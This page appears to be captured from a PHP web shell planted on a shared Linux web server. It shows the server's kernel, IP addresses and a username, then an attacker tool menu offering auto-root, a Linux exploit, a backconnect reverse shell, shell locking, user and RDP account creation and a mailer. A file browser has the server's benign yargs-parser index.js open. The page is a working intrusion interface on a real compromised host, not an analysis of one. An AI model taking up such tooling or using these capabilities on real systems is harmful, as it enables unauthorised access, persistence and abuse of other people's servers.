Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.13
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
nodejs /
yargs-parser /
build /
lib /
[ HOME SHELL ]
Name
Size
Permission
Action
index.d.ts
310
B
-rw-r--r--
index.js
2.16
KB
-rw-r--r--
string-utils.d.ts
311
B
-rw-r--r--
string-utils.js
2.04
KB
-rw-r--r--
tokenize-arg-string.d.ts
168
B
-rw-r--r--
tokenize-arg-string.js
1.07
KB
-rw-r--r--
yargs-parser-types.d.ts
8.17
KB
-rw-r--r--
yargs-parser-types.js
425
B
-rw-r--r--
yargs-parser.d.ts
352
B
-rw-r--r--
yargs-parser.js
45.71
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : index.js
/** * @fileoverview Main entrypoint for libraries using yargs-parser in Node.js * CJS and ESM environments. * * @license * Copyright (c) 2016, Contributors * SPDX-License-Identifier: ISC */ import { format } from 'util'; import { normalize, resolve } from 'path'; import { camelCase, decamelize, looksLikeNumber } from './string-utils.js'; import { YargsParser } from './yargs-parser.js'; import { readFileSync } from 'fs'; // See https://github.com/yargs/yargs-parser#supported-nodejs-versions for our // version support policy. The YARGS_MIN_NODE_VERSION is used for testing only. const minNodeVersion = (process && process.env && process.env.YARGS_MIN_NODE_VERSION) ? Number(process.env.YARGS_MIN_NODE_VERSION) : 12; if (process && process.version) { const major = Number(process.version.match(/v([^.]+)/)[1]); if (major < minNodeVersion) { throw Error(`yargs parser supports a minimum Node.js version of ${minNodeVersion}. Read our version support policy: https://github.com/yargs/yargs-parser#supported-nodejs-versions`); } } // Creates a yargs-parser instance using Node.js standard libraries: const env = process ? process.env : {}; const parser = new YargsParser({ cwd: process.cwd, env: () => { return env; }, format, normalize, resolve, // TODO: figure out a way to combine ESM and CJS coverage, such that // we can exercise all the lines below: require: (path) => { if (typeof require !== 'undefined') { return require(path); } else if (path.match(/\.json$/)) { // Addresses: https://github.com/yargs/yargs/issues/2040 return JSON.parse(readFileSync(path, 'utf8')); } else { throw Error('only .json config files are supported in ESM'); } } }); const yargsParser = function Parser(args, opts) { const result = parser.parse(args.slice(), opts); return result.argv; }; yargsParser.detailed = function (args, opts) { return parser.parse(args.slice(), opts); }; yargsParser.camelCase = camelCase; yargsParser.decamelize = decamelize; yargsParser.looksLikeNumber = looksLikeNumber; export default yargsParser;
Close